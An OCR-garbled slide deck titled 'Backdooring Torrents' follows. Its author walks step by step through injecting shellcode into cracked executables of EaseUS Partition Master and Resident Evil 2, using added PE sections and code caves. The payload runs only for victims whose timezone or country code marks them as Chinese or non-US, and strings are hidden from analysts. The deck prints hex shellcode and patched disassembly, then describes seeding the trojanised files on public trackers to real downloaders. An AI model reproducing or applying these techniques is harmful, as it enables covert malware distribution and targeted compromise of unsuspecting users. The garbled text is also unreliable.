Backdooring Torrents

An annotated sectional




We are backdooring EaseUS Partition

) EaseUs Partition Master

The goal is to only target cerfain | ———————

individuals. This is is a o o <

Operations A | partition Fie System

concentrated attack vector e m s

*: System Reserved
£] Merge partition

thingy. Or not. Who cares? 2o | =

Unallocated
Check partition

Explore partition

View properties

It's not like | can’t just blindly
place shellcode into an exe and
hope for the best right?

Pending Operations

Master 12

Unused

145.53 M8
6.65G8

10.06 GB

*:Sys. C:system (NT.. D: work (NTFS) E: data (NTFS)
500.0.. 50.00 GB 50.00 GB 355.21 GB

We recommend dosing all other appl

Unalocatec
10.06 GB




Added bonus

This software requires admin to
run so insta-hax




Question: What does this do?

d9eb9bd974241431d2b27731c9648b71308b760c8b761c8b46088b7e2080b36384f
1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498
b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668
bO0c4b8b5a1c01eb8b048b01e88944241c61c3b20429d489e589c2688e4e0eecd2e
8Ifffffff894504686c6c20416833322e64687573657230db885c240a89e656f55048
9c250bba8a24dbc871c2452e87Offffff686f7858206861676542684d65737331db88
5¢240a89e3686b732158686372616368757374206872207472686€65766531¢c98
84c241389e131d252535152ffd090



If you guessed shellcode, you're right! Break on call
eax

popad
ret
mov dl,4
sub esp,edx
mov ebp,esp
mov edx,eax
push ECOE4ES
2 push edx
E8 9FFFFFFF call gettimedate.4013E9
8945 04 mov dword ptr ss:[febp+4],eax
68 6C6C2041 push
push
68 75736572 push
xor bl,bl
885C24 0A mov byte ptr ss:|[esp+AjJ,bl
89E6 mov esi,esp
56 push esi
FF55 04 call dword ptr ss:[ebp+4]
89Cz2 mov edx,eax
50 push eax
BB AS8A24DBC mov ebx,BC4DA2
871C24 xchg dword ptr ss:[fespd,ebx
2 push edx
7OFFFFFF call gettimedate.4013E9
GF785820 push 2 7
61676542 push
4D657373 push 73736
31DB xor ebx,ebx
885C24 0A mov byte ptr ss:|[esp+
89E3 mov ebx,esp
68 732 push 7
68 7 3 push
68 75 C push 2
68 7 72 push 7
68 GEGS57665 push
31C9 X0or ecx,ecx
884C24 13 mov byte ptr ss:|[esp+
mov ecx,esp
xor edx,edx
push edx
push ebx
push ecx
push edx
call eax




Trust no one

Not even joe

Share View Manage

<« EaseUS Partition Master 12.10 Technician Edition + Crack [Tech-Tools.Me] » EaseUS Partition Master 12.10 Technician
Name -' Date modified Type

=| _ReadMe.txt

Text Document

£5 epm0.exe 8/14/ 0:32 AM  Application
lel.exe AM  Application

2| LicenseMgr.dll Application extens...
| LicenseMgr.idb 2:26 PM  IDB File
@ Main.exe Application

m wepm0.exe :25 AM  Application




How do we backdoor the exe?

We need only 2 items.

1) Evil Code
2) Innocent Program

In my example, | am only popping a
message box as the ‘evil’ code. This
could of course be a reverse shell or

whatever. Just grab from metasploit.




Can't just up and add data, we need a new section.

Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers | Relocations N.

— |ZJ Dos Header
=] Nt Headers Dword Dword Dword Dword Dword

8 Hle hendex 00011000 00001000 00010C00 00000200 00000000 00000000
=l Optional Header

2] Data Directories [x] , 00004000 00012000 00003C00 00010E0D 00000000 00000000

&) Section Headers ] : 00003000 00016000 00001200 00014A00 00000000 00000000
() Export Directory
8 kport Dirctory : 0008A278 00019000 0008A400 00015C00 00000000 00000000
) Resource Directory

() Debug Directory

& \, Address Converter
), Dependency Walker
)‘ Hex Editor Put a space and a d(ec) or an h(ex) after the number

‘{\,, Identifier (if you have to enter one) to spedify the type (e.q.
4, Import Adder 123 d") . By default numbers are considered hex.

%, Quick Disassembler
%, Rebuilder
'--“\), Resource Editor

2, UPX Unility

Size of section X

|s12d| ‘

OK Cancel




Gotta modify the section to run code...

H @ epm0.exe
o Section Flags

= Name Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers | Relocations N...| Linenumbers ... | Characteristics]
B [F]File: epm0.exe

— =) Dos Header
2] Nt Headers Byte[8] Dword Dword Dword Dword Dword Dword Word Word

_j Flle‘Header text 00011000 00001000 00010C00 00000200 00000000 00000000 0000 0000
=) Optional Header

=) Data Directories [x] 00004000 00012000 00003C00 00010E00 00000000 00000000 0000

(& Section Headers k] 00003000 00016000 00001200 00014400 00000000 00000000 0000
) Export Directory
23 Import Directory 00084278 00019000 0008A400 00015C00 00000000 00000000 0000

(D Resource Directory 000A4000 00000200 00DA000D 00000000 00000000 0000
(=) Debug Directory

Is shareable

Is executable ]

Is readable

Is writeable

Contains extended relocations
Can be discarded

Is not cachable

Is not pageable

No pad

Contains code

Contains initialized data
Contains Uninitialized data
Contains information
Contents won't become part of image
Contents comdat

000001D8 00D0D0TEQ 000001E4 000D0TES 0D0DDTEC 000001F0 000001F4 000001F8 00D0D0TFA

~ DOO0OOROOOOORKIRIE

Alignment (Bytes): Default

OK Cancel

This section contains:

4, UPX Utility




Have to rebuild the PE header and save our work.

CFF Explorer VIl - [epm0.exe]

File Settings ?

l'i @ epm0.exe

— Name Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers | Relocations N...| Linenumbers ... | Characteristics
= ﬂﬁle: epm0_exe

— (=] Dos Header
=) Nt Headers Byte[8] Dword Dword Dword Dword Dword Dword Word Word Dword
.2 File Header

=) Optional Header
=] Data Directories [x] .rdata 00004000 00012000 00003C00 00010E00 00000000 00000000 0000 40000040
e rete ) data 00003000 00016000 00001200 00014800 | 00000000 0000 0000040
) Export Directory
) Import Directory .rsrc 0008B000 00019000 0008A400 00015C00 00000000 0000 40000040
D Resource Directory idata 00000200 000A4000 0000020 nnaanann 0000
() Debug Directory Change Section Flags
"‘1, Address Converter
'~‘_'L Dependency Walker
%, Hex Editor Add Section (Empty Space)
'*:.:,: Identifier Add Section (File Data)
~‘:“ import Adder Delete Section (Header Only)
“}, Quick Disassembler
Delete Section (Header And Data)

2, Rebuilder

%, Resource Editor This section contains: Rebuild Image Size
_!\ -
“ UPX Urility Rebuild PE Header

000001D8 000D01EQ 000001E4 000001ES 00D0OTEC 000001FO 00000TF4 000001F8 0D000TFA 000001FC

text 00011000 00001000 00010C00 00000200 00000000 00000000 0000 0000 60000020

Add Section (Header Only)

Dump Section

Ascii

00000000 naked.nowfl. .
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090

Pos: 00000009




Now we have to add our imports...

It says

“GetTimeZonelnforma

tion”, exported by
Kernel32.dll

CFF Explorer VIl - [epm.exe]

OcreateNew
kemel32.dl [AIRebuid with OFTs
add

[File: epm0.exe
Dos Header
5 N Headers
Fie Header
Optional Header Remove Rebuid Import Table:
(2 Data Drecores ]
3 Secton Headers ]
ot Diectory
Dimpot Diect

ctory
ource Drectory ImportBy. ImportBy
Name

Ordinal

Exported Functons

%), Resource Edit
4 UPX Wrility
000002F2 - GetTempFieNameA
GetTempFichameW
000002F4 - GetTempPatha
mpPathi

GetThveadGroupAfinity

- GetThveadiOPendngFiag
GetThveadid

000D02FF - GefThreadPreferredUlLa.
00000300 - GefThveadPriorty
00000301 - GefThveadPriorityBoost

GefTmeFormataWorker

DefoutLCID
00000312 - GetuserDefauitLangiD
313 - GetserDefauitl ocaleNer

314 - GetuserDefaultUlLangua

Imported Functir By

00000300 - GetTimezonelnformaton _Name




Not too conspicuous right?

\Y ayb e if i named the dll in B 00412108 InterlockedIncrement KERNEL32
. S’E 00412114 InterlockedDecrement KERNEL32

AL L C A P S ’) O rm ayb e |f | ¥E] 00412180 InitaizeCriticalSectonAndspinCount KERNEL32
@ 004120D0 InitializeCriticalSection KERNEL32

dynamically obtained the address  [NETNC.-—.
. . *E) 00412084 HeapF KERNEL32

of the import like shellcode? Oh 3 cosnaac Hespestoy e
ﬁ 00412120 HeapCreate KERNEL32

well. %3] 00412080 HeapAlloc KERNEL32

¥5) 00412024 GetVersion KERNEL32
5] 0041200C GetTokenInformation ADVAPI32
I 55 004A5084 GetTimeZoneInformation kernel32
00412168 GetTickCount KERNEL32

Z| 0041216C GetSystemTimeAsFileTime KERNEL32
£| 00412190 GetStringTypeW KERNEL32
GetStringTypeA KERNEL32

£| 00412140 GetStdHandle KERNEL32
£| 004120E0 GetStartupInfoA KERNEL32
£| 004120C0 GetProcessHeap KERNEL32
00412044 GetProcAddress KERNEL32

£| 00412134 GetOEMCP KERNEL32




What if we only want to target them Chinese?

How do we do this? Check the ot B
timezone of course! If your [Frassens 7] Dateandtime

11:42 PM, Sunday, April 28, 2019

timezone is off, then SSL don’t . st

WO rk ri g h t - . Set time zone automatically
eec @ Off

Change date and time

Therefore, most people leave this
setting alone and this is to our
advantage.

Show additional calendars in the taskbar

Don't show additional calendars

Formats

First day of week: ~ Sunday



Checking the current time zone

As per
https://docs.microsoft.com/en-us/windows/desktop/api/timezoneapi/nf-timezoneapi
-gettimezoneinformation The function GetTimeZonelnformation retrieves the

current time zone settings. Easy enough right?



https://docs.microsoft.com/en-us/windows/desktop/api/timezoneapi/nf-timezoneapi-gettimezoneinformation
https://docs.microsoft.com/en-us/windows/desktop/api/timezoneapi/nf-timezoneapi-gettimezoneinformation

Nothing is easy, this has to be hand rolled in ASM

| am using the stack
to store my variables [
1 character at a time  |[REG_G_G_G

to avoid IDA from o o 1
showing my data in g
‘'strings’ which every [

reverser looks at.

mov word

mov word pt

Neat right? - Sats

14 mov word




What is a good area to backdoor?

Whenever | reverse engineer malware, | see it on startup. | feel like | should be
more stealthy and place my evil check on ‘main’ exit.

;3 void __cdecl _ noreturn exit(int)
proc near
E xrefs to _exit
uExitCode= dword ptr 8
Directio Ty; Address
eg% edi ESUp p _ tmanCRTStartup+11C call _exit
ebp
ebp, esp
2] soAnk
2} ; int

[ebp+g§:<1thde] ; uExitCode e Search

ésb, ech Line1of1
ebp

t endp




Now we head to the exit function in our debugger

wingit.exe - PID: 483C - Module: wingit.exe - Thread: Main Thread 7190 - x32dbg
Fle View Debug Trace Plugins Favourites Options Help

O 0l T8 B Fg T a2 g = 4 .

% CPU 85} Graph A @® Breakpoints 8 Memory Map [} call Stack =7 SEH

\ ret

‘ call wingit.408641
‘ ret
‘ wov edi, edi

{ push ebp

\ mov ebp,esp

1 push

\ push

\ push dword ptr ss:[ebp+3]
[ E8 C3FEFFFF call wingit.40A3B7

‘ . 83C4 0OC add esp,C

| 004 7 5D pop ebp

| oo4 c3 ret

[ 8BFF ov edi
1 55 push ebp
\ 8BEC mov ebp,esp

\ 6A 00 push

[ 6A 01 push 1

‘ FF75 08 push dword ptr ss:|[febp+s]
‘ E8 ADFEFFFF c€all wingit.40A3B7

{ 83C4 0C add esp,C

[ 5D pop ebp

‘ C3 ret




Free up some space for our shit

Breakpoints Memory Map
| B
}ca]'l wingit. 408641

4 4E ret

0040A4E3 edi, e

0D040A4ES 5 push ebp

0D040A4E6 | mov ebp,esp

0D040A4ES | push

0040A4EA | push

0040A4EC | push dword ptr

D040A4EF | call wingit.40A

0D40A4F4 3C4 0C | add

0040A4F7 )| Binary

Filling with nops...

Copy
Breakpoint
Follow in Dump

©0000000000000000000

Follow in Disassembler
Follow in Memory Map
Decompile
Graph G
E8 9DFEFFFF
83C4 0C | Help on mnemonic Ctrl+F1
c3
Shovi mnemonic brief Ctri+Shift+F1
6A

00
E8 BEFEFFFF
83C4 0C d # Label
c3

Highlighting modk Ctri+H

8BFF Trace record
56

E8 G61F6FFFF 1 ‘Comment
8BFO

56 4% Toggle Bookmark
E8 B92D0000 call
56

E8 02510000 Analysis

56

E8 FaF3FRFF |ca1 e _—
E8 E7500000 s e

2
D2500000 Yara... Ctrl+y

°
°
°
B
°
B
B
°
o
o
B
B
°
B
.
°
o
°
°
B
°
B
B
°
o
°
B
B
o
B

RA4FNNON
= Set New Origin Here Ctri+®
Point> (004085

Create New Thread Here
ngit.exe:$A4E3 #96E3 = Goto
2| D3 . o] Sesrch for

R Find references to

) 00|00 00 00




We now want to jump to our newly made cave

Loaded at OlAOOOO l00004000

PO1BO0O0OO | 00003000

| 00001000

DO1C0000
00008000

D01D8000 | 00008000 |Reserved (001D0000)

0200000 | 00179000 |Reserved

p0379000 | 0DODEOOO |

p0387000 (00079000 |Reserved (00200000)

D0400000 | 00001000 |wingit.exe

SEEGFGHEE 00011000 S 3 : Execut| I
D0412000 | 00004000 : Read-o| I!
0416000 | 00003000 : In1t1a\r
0419000 | DDOSBOOO 8 Resour| I!
D04A4000 | 00002000 | ".idata” | Import| IMG
D04B0O00O EOOOCSOOO | \Device\Harddiskvolumes&'windg

pO580000 | 00035000 |Reserved

DOSB5000 | 00ODOBOOO

p0SC0000 | 00035000 |Reserved

DOSF5000 | 0000BOOO |

0x004A4000

|
|
|
|

1 1data OO4A4000 wi ng1t exe $A4000 #AOOOO

@9 Dump 1 @'Y Dump 2 g% Dump 3 gl Dump 4 el T watch 1 [x=| Locals

Address | Hex | ASCII |
004A4000| 6E 61 GB 65|64 o GE D0 0 0 00 00|naked now
004A4010( 00 00 00 00/|C ( )

004A4020| 00




Add our jump to our code cave...

wingit.exe - PID: 483C - Module: wingit.exe - Thread: Main Thread 7190 - x32dbg
U Sed to be fu N Ct|o N File View Debug Trace Plugins Favourites Options 220

. . ) > = i T v W J w29 ' ‘ / P i % g
‘doexit’. Still exits - - == =2
&3l cru & Graph | 4 1 Notes @® Breakpoints Memory Map [ Call Stack &3 SEH

tho l0040AacD | 43 inc ebx
[ 104 837D 10 00 cmp dword ptr ss:|febp+10J,0
3 v 74 08 je wingit.40A4DC
6A 08 push 8
ES8 130F0000 call wingit.40B3EE
59 pop ecx
Cc3 ret
E8 SFE1FFFF call wingit. 408641
Cc3 ret
90 0P
90
90
920
20
20
90
90
40A4EB 90
| 0040A4EC | ~ E9 0OF9B0900
40A4F 90
920
90
90
20
90
20 ofe
ret

‘ 0 e

45

ébp

[
@ |
d
o|
®|
°|
o
®|
®|
d
o
o
°l
o
®|
®|
d
o|
®|
°|
o




Basically just binary copy / paste from my asm stuff

Gotta edit a few things of course...

wingit.exe - PID: 483C - Modult

Debug

Trace

ingit.exe - Thread: Main Thread 7190 - x32dbg
Plugins ourtes  Options Help
o W B @

@ Breskpoints Memory Map J/ Call Stack @& symbok | <> Source References =~ W Threads = &) Snowman | iy Ha

Binary Edt
Copy Fl..
Restore selection Ctri+Backspace £l vith NOPs
Breskpoint »
Copy.
Follow in Dump »
Paste
Follow in Memory Map
Paste (Ignore Size)
Decompile
Graph G
Help on mnemonic Ctrl+F1
Show mnemonic brief Ctri+Shift+F1
Highlighting mod Ctri+H
Label
Trace record

Comment

Toggle Bookmark ciri+D
Analysis

Assemble Space
Patches Crri+p.

Yara, Ctri+y.

Set New Origin Here Curie®
Create New: Thread Here

Goto

Search for

fl  Find references to

Yoump3 @ Dumps Y Dumps

EC 00 01 0000 8 85 5
8D 85 58|FF FF FF

b o col

Eoi
m. fCElie. FCE

ansnns

F

Ciri+s

Shift+C

Shift+V.
Crri+Shift+V



Add our proper call addresses...

_ 00412120 HeapCreate KERNEL32
H =] 00412080 HeapAlloc KERNEL32
We Ca” In braCketS to Ca” %E| 00412024 GetVersion KERNEL32
by reference Th|S 0041200C GetTokenInformaﬁon ADVAPI32
’ 004A508A GetTimeZoneInformation ' kernel32
ensu res no Crashes 00412168 GetTickCount KERNEL32
’ £| 0041216C GetSystemTimeAsFileTime KERNEL32
004 A608a pOIﬂtS to Z] 00412130 GetStringTypeW KERNEL32
%E| 0041218C GetStringTypeA KERNEL32
GetTimeZonelnfomation 200512050 siStdiandc
S81EC 00010000 [ )
= 8D85 S54FFFFFF lea eax,dword ptr ss:|[ebp-AC
in the Import Address |push eax - A
ES CFO00000 call wingit.4A40E4
8D85 S8FFFFFF a3 soy dwnrd pre oo 2
Table entry We added 920 & Assemble at 004A4010

90
20

g:: call [Px004a2083]
90

20 [[] Keep Size Fil vith NOP's (®) XEDParse () asmjt Eancel

20

90 Instruction encoded successfully!
90




Patch that shit

B

If everything looks
right...

B cru

@ Information

o

@ Breakpoints

FEFFFFF

01004024E2: 85>
010040A4E4:FF-
0]0040A4E5:55-:
0]0040A4E€: 8B
010040A4E7 :EC->
010040A4EB: €A
0]10040A4ES:00
0]0040A4EA: €A

467/467 patch(es) applied!

A4F2:F]
010040A4F2: !
010040A4F4:83
0]0040A4F5:C4
010040A4F€:0C
0]10040A4F7: 5D
1100424000:€E-:

Select All Deselect All

Pick Groups

M Memory Map [ Call Stack & SEH Script ] Symbols <> Source _ References

push edx

€all winait.4A40FF
e

4, eax

Modules

wingit.exe

Restore Selected

Patch File

W Threads %/ Snowman

Patches

0100404ED:
010040A4E]

1100424000

Select Al Deselect All

Pick Groups

5 Handles  §7 Trace

Restore Selected

Patch File



Does it work tho?

You betchal

If you want to see it
work, switch your
timezone to China.

All that’s left to do now
is distribute the crack.




| prefer torrents because it's an EZ to distribute
protocol and ripe with people




I'm just proving statistics correct

Challenges [=dit]

"Leeches", are those users who download more than they share. As BitTorrent is a collaborative distributed platform, there is a section of the community that wants solutions to punish and discourage such behaviour.l"

Malware [edit]

Several studies on BitTorrent have indicated that there exist files, containing malware, available for download via BitTorrent. In particular, one small samplel''"] indicated that 18% of all executable programs available for download contained malware. Another study!''?!
claims that as much as 14.5% of BitTorrent downloads contain zero-day malware, and that BitTorrent was used as the distribution mechanism for 47% of all zero-day malware they have found

BitErrant attack | edit |

Due to SHA1 collisions, an attacker can alter the execution path of the cutable by serving altered chunks when the victim is downloading the executable using the BitTorrent protocol [13!




We need to create a new torrent and wait...

D =Pl Tavyp
B3 Transfers (1) Q search
Size Name
T A 444MiB 4 EaseUS Partition Master 12.10 Technician Edition + Crack [Tech-Tools.Me]
& Downloading (0)
4 Seeding (1)

Resumed (1
> Paused (o)( ! Select flefolder to share
T Active (0)

Inactive (1.

? Errored ((u)) Drag and drop area Selectfle | | Select folder

Status Seeds
Seeding om

Path: [Gt\torentz|EaseUS Partition Master 12.10 Technician Edition + Crack [Tech-Tools.Me]|

CATEGORIES Settings
& Al | Piecesize: Auto v Calaulate number of pieces:

Unctegorsd ) prors:: I Y (.

[ private torrent (Won't distribute on DHT network)
z:ﬁ;, Transfer Start seeding immediately
Time Active: < im (seeded for < 1m)
Downloaded: 0B (0B this session)
TRACKERS Download Speed: 0B/s (0B/s avg.) Fields

LAVTO) Download Limit:

8 Trackerless (0) Share Ratio: 0.00
@ Error (1)
Warning (0)
5.79.83.193 (1)
5.79.249.77 (1)
37.19.5.139 (1)
i;lgh);?i‘:]()ﬂ Comment: EaseUS Partition Master 12.10 Technician Edition
51.254.244.161 (1) Web seed URLS:
59.36.96.77 (1)
62138.0.158 (1)

:i;;iiizsg g; EaseUsS Partition Master 12. 10 Technician Edition + Crack.
1
)
)

] tgnore share ratio limits for this torrent Connections: 0 (100 max)
Seeds: 0 (1 total)
Peers: 0 (4 total)

& Untagged (1)

udp:/fpublic,popcorn-tracker. org:6969/announce EEEE R

http://104.25. 1.30:8080/announce | Last Seen Complete: Never

104,28, 16.69/announce |

Information - 107,150, 14, 110:6968/announce.
Total Size: 44.4MB ttp://109, 121, 134,121: 1337/announce: CreatedBy: qBittorrent v4.0.1
Added On: 5/1/2019 10:26PM et };;ig,‘;iﬁg;ggg@g::gz;; Created On: 5/1/2019 10:26 PM

Torrent Hash: efeaSe49ffcDScecb9d200beacd726b7cc2fad 11378 100 70 485044 amncvnca

Save Path: G:\torentz\

80.246.243.18 (1)
812002231 (1
85.17.19.180 (1
87.248.186.252 (1)
87.253.152.137 (1)
89.234.156.205 (1) —
9121611047 (1)

91217.9121 (1) Cancel
19121823081 (1)
9392645 (1)
94.23.18333 (1)
10428.1.30 (1)
104.28.16.69 (1)
104.28.17.69 (1)
107.150.14.110 (1)
109.121.134.121 (1)
114.55.113.60 (1) 8 Trackers || & Peers || 4 HTTP Sources| | £ Content

Comments:

DHT: 393nodes | & | @ | ¥ 08/s(19.35G8) 08/s (375.5MiB)




So far about a dozen people have downloaded my
files. No complaints in english =)




There are other ways of checking for targets

Bl - < I
One thing that came to mind is to (Global Scope)

// GeoThang.cpp : Defines the entry point for the console application.

check the country code. Code
1 #include "stdafx.h"
244 IS the USA #include <Windows.h>

int main()
{

) myGEO = GetUserGeoID(GEOCLASS_NATION);

printf(“"Current Country is %d\r\n", myGEO); // 244 is america!
getchar();
return @;

}




The integer returned can be one from this table

G ra b b ed fro m Geographical location Geographical location
. identifier (Hex) identifier (decimal) Location (Short Name) Location (Long Name)
https://docs.microsoft. | |
0x2 2 Antigua and Barbuda Antigua and Barbuda
com/en-us/windows/d

0x3 3 Afghanistan Islamic Republic of Afghanistan

eS kto D/I ntl/ta b | e-Of-q e 0x4 4 Algeria Democratic and Popular Republic of

ographical-locations — Rg“ -
https://docs.microsoft. b b:
com/en-us/windows/d Pp
esktop/api/winnls/nf-wi :

n n | S'q etu Se rq eo i d X American Samoa Territory of American Samoa



https://docs.microsoft.com/en-us/windows/desktop/Intl/table-of-geographical-locations
https://docs.microsoft.com/en-us/windows/desktop/Intl/table-of-geographical-locations
https://docs.microsoft.com/en-us/windows/desktop/Intl/table-of-geographical-locations
https://docs.microsoft.com/en-us/windows/desktop/Intl/table-of-geographical-locations
https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getusergeoid
https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getusergeoid
https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getusergeoid
https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getusergeoid

The assembly code is even smaller

We need only push 16 to the
stack, call GetUserGeolD,
and compare the returned
value in EAX with America at
244 (0xf4). This means no
storing timezone strings on
the stack. EZ stuff.

55

8BEC

81EC 00010000
6A 10

ES8 26000000
3D F4000000

v 75 07

6A 01

E8 12000000
6A 00

6A 00

6A 00

6A 00

ES 11000000
8BES

5D

c3

‘push ebp

| mov ebp,esp
Jsub esp,100

| push 1

‘c311 <IMP.&GetUserGeoID>
cmp eax,F4

| jne geothing.40101E

push 1

call <IMP.&FatalAppEXitw>
\push )

| push 0

| push 0O

push 0O

call <IMP.&MessageBoXA>
mov esp,ebp

‘pop ebp

ret

EntryPoint

|Run normally

|shellcode here




We could have also queried the registry, but that's
too obvious

Anyone runn | n g Computer\HKEY_CURRENT_USER\Control Panel\International\Geo
¥, D Computer Name Data
filemon or regmon > [l HKEY_CLASSES ROOT 25) (Defautt) (valiieiot 560
v || HKEY_CURRENT_USER ) Nar e us
would see us | > 8 AppEvents 25]Nation 244
P Console
- 5 RV Control Panel
querying this. Fuck Bto o
that P v Appearance

Bluetooth
Colors

Cursors
Desktop
don't load
Infrared

Input Method
International

Geo
User Profile




Armed with what we have, we can now backdoor
exe’s and only target foreigners and do so with
minimal effort. -

L§.




What kind of software is best to backdoor?

Popular software of course. Head to
your favorite torrent site and sort by
most popular / number of seeders.

Type Name (Order by: Uploaded, Size, ULed by, SE, LE)

LOOkS ||ke The S|mS 4 Just dropped Games The Sims 4 Seasons Repack-CODEX 08/2018 4365 1160

(PC) M@ Uploaded 09-09 2018, Size 27.57 GiB, ULed by lookdancing

Though 27.50gb is a pretty big V=

(PC) MQE Uploaded 10-20 2014, Size 8.8 GiB, ULed by extremezone

COmmltment HOW about Somethlng i G(a:(r:t)as ;BRANSFORMERS.War.for.(_:ybertrcin.Repack-R.G.Mechanics 3179 2114

Uploaded Y-day 23:37, Size 37.69 MiB, ULed by JoziahMars

. . . Games Resident Evil 2-CODEX
Smal |er |Ike reSIdent eVII 2? (PC) M Uploaded Y-day 23:29, Size 36.75 MiB, ULed by JoziahMars 572003
Games Imperator Rome-CODE

3124 2073
(PC) Uploaded Y-day Size 37 MiB, ULed by JoziahMars

Games Heroes of Might and Magic V Bundle [GOG]

3089 2060
(PC) M Uploaded Y-day 23:43, Size 38.46 MiB, ULed by JoziahMars




36 mb is perfect.

[=) Games>PC-TPB X | [Z) TRANSFORMERSWar X [-JRSEE VPR PN

We need only modify the exe ceo B - 7| s

Resident Evil 2-CODEX

after it,S downloaded then Type: Uploaded: 2019-05-03 23:29:46

Files: 2 ) GMT
Size: 36.75 MiB (38537624 Bytes) By: i
re-upload.
Leechers:

Comments

Info Hash:
F564052992AD638B48DF32C5C85CABSADODFBDSA

M GET THIS TORRENT © PLAY/STREAM TORRENT
(Problems with magnets links are fixed by upgrading your torrent client!)

Fi
windo
plz write a comment if you can.
thank you for downloading and seeding
Installation Instructions
Unpack and install
Use the key generator to generate a valid serial
Please note that all cther product's features have been removed.
Enjoy The Pirate Bay

f GET THIS TORRENT © PLAY/STREAM TORRENT

Resident Evil 2-CODEX.exe 36.75 MiB
Torrent downloaded from H33t.to.txt 44 B




We do the same song and dance routine

Add new section, add

Resident Evil 2-CODEX.exe

i m po rt, fi n d p | ace to i nj eCt, ’Virtual Size ‘ Virtual Address | Raw Size I Raw Address | Reloc Address ’ Linenumbers | Relocations N...| Linenumbers ... ‘
add Shel |COde, upload . Byte[8] ord Dword ord Word Dword

00006000 00001000 00005E00 >00000200 00000000 00000000 >0000 600000
00002000 00007000 00001400 00006000 00000000 00000000 0000 400000
00026000 00009000 00000400 00007400 00000000 00000000 0000 C0000(
0000B000 0002F000 0000B00O 00007800 00000000 00000000 C0000(
00000D88 0003A000 000DOECD 00007800 00000000 00000000 400000

Size of section

Put a space and a d(ec) or an h(ex) after the number
(if you have to enter one) to spedfy the type (e.q.
*123d") . By default numbers are considered hex.

OK Cancel




We used CAPS so it matches this time...

CFF Explorer VIII - [2Resident Evil 2-CODEX.exe]

Yep...

™ File: 2Resident Evil 2-CODEX.ex

e
=) Dos Header
.=l Nt Headers

=) File Header

=) Optional Header

2] Data Directories [x]

=) Section Headers [x]
2 Import Directory
() Resource Directory
%), Address Converter

“% UPX Urility

2Resident Evil 2-CODEX .exe

Module Name Imports

000098C8 A

szAnsi (nFunctions)

USER32.dlI
GDI32.dIl
SHELL32.dII
ADVAPI32.dII
COMCTL32.dIl
ole32.dll

VERSION.dII

KERNEL32.dll

word

0003COD5 0003COD5

J 000098A0 _

‘ Dword

000076D0

000075A0
00007684
00007564
0000758C
000077DC
000077CC
0003COEC

TimeDateStamp | ForwarderChain iNameRVA
000098A8

000098A4

Dword

00000000
00000000
00000000
00000000
00000000
00000000
00000000

Dword
>OOODDOOO
00000000
00000000
00000000
00000000
00000000
00000000
00000000

| 0o00g8AC

[ Dword

00007FE4
00008076
00008102
000081A4
000081F0
00008244
00008290
0003C0C8

FTs (IAT)
00009880

Dword

0000716C

0000703C
00007150
00007000
00007028
00007278
00007268
0003COE4




Our check is 14 lines of code. Smaller if we skip some

push ebp
mov ebp,esp

push

call GetUserGeolD
cmp eax,’

jne notfound

mov 123,eax

ret

notfound:

mov DEADBEEFh, eax
jmp eax

mov esp,ebp

pPop ebp

ret




We place our code at the end of the main function at
address 0x00401000

This is our clean up code
and is eventually hit on exit.

[ebp+1Param]
ebx ; Del

eax, [ebp+Paint]
eax ; lpPaint
: [ebp+hknd] 3 hwnd

[ebp+hw i ds:
ds:D oCcA edi
locret_401179 esi

eax,

ebx

locret_401179:
leave

retn 1eh
sub_401000 endp




Modify our code to jump to a cave

® EBreakpoints i Memory Map [L) call Stack

FF75 08 | push dword ptr febp+3]
FF15 5C724000 c€all dword ptr ds:[<&EndPaint>]
pop edi
pop e
xor e:
pop ebx
E9 CESA0000 | jmp resident evil 2-codex.406C4C
90 0P
20
20 0P
Al 88EB4200 mov eax,dword ptr ds:[42EBS88]
8BD1 mov edx,ecx
53 push ebx
69D2 18040000 imul edx,edx,418




Paste Iin our check and shellcode

i log |l Notes ® Breakpoints Memory Map [}/ Call Stack =7 SEH |o| script 9] symboks <

6A 10 push 10 A
FF15 504C5877 call dword ptr ds:[<GetUserGeoID>]
3D 44020000 cmp eax,244

03 jne resident evil 2-codex.406CSE
ret

| 00406C5E fldpi

406CE fwait
5C 6 )97 42 fnstenv m28 ptr ss:[fesp-Cj
5C 65 xor edx,edx
mov dl1,77
Xor ecx,ecx
mov esi,dword
mov esi,dword
mov esi,dword
mov eax,dword
mov edi,dword
mov esi,dword ptr ds:[esi]
cmp byte ptr ds:[edi+18],cl
jne resident evil 2-codex.406C75
pop ecx
add ecx,edx
jmp ecx
pushad
mov ebp,dword
mov eax,dword
mov edx,dword
add edx,ebp
mov ecx,dword
mov ebx,dword
add ebx,ebp

T e N

..‘
4]
Y A A
i
e




ave and distribute!

fob)
Select file/folder to share

Path:

” | Name

EaseUS Partition Master 12,107 Settings
Resident Evil 2-CODEX
Piece size: 0 Calculate number of pieces: 0

Select All Select None

Name @) Torrent creator
EaseUS Partition Maste
epm_trial.exe Torrent created: A
» Crack G:\downloads\EaseUS Partition Master 12.10 Technician Edition + Crack [Tech-
RegOn_x6reg Tools.Me]\Resident Evil 2-CODEX torrent
RegOn_x86.reg

www.Tech-Tools.M

_ReadMe.txt

Web seed URLs:

Comments:

<

Cancel

v | &) General Y Trackers &




That’s it, thank you all!




